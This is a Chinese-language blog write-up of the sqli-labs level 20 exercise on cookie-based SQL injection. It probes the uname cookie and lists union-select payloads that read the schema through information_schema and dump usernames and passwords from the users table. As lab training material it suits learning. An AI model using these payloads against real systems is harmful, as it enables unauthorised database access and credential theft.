sqli-labs(20)

0X01

试探一下 这是登录成功的页面

这里题目高速我们是基于cookie的注入

0X01抓包试探

这里登陆的时候有两个包

我们要含有cookie的那个包

0X02试探判断是否cookie存在注入

Cookie: uname=admin'

 报错 那么应该是基于'的cookie注入 我们现在找到了 是cookie的注入 并且是’闭合 那么我们如何进行注入呐?

怎么知道原来的语句呐?这里有一点点思路了 构造后面一个数据一个数据的加 加在,后面

Cookie: uname=admin',1)#
Cookie: uname=admin',1,1)#
Cookie: uname=admin',1,1,1)#

似乎好像不行 那cookie是如何和数据库进行交互的呐?

看了源码 原来如此

你登录成功 就会在数据库存放cookiee的变量

然后以下每一次提交

 那我们第一次cookie正确提交 后面直接构造语句进行

 这里查询cookie的语句是* 但是我们知道secruity这个里面有3个表 所以这里我们构造语句

Cookie: uname=1'  union select 1,2,database()#

这里不能填入你正确的cookie 如果你填入真确的那么他就不会显示出你后面语句要查询的结果 name 和password都会显示成你正确的、

所以这里我们要填错误的cookie来进行注入

0X02爆表名 限制了输出长度 这里用limit 绕过

Cookie: uname=ad'  union select 1,2,(select table_name from information_schema.tables where table_schema='security' limit 3,1)#

0X03组合拳打法

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

字段

1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users#

切记 学习之路 少就是多 慢就是快

原文地址:https://www.cnblogs.com/-zhong/p/10929299.html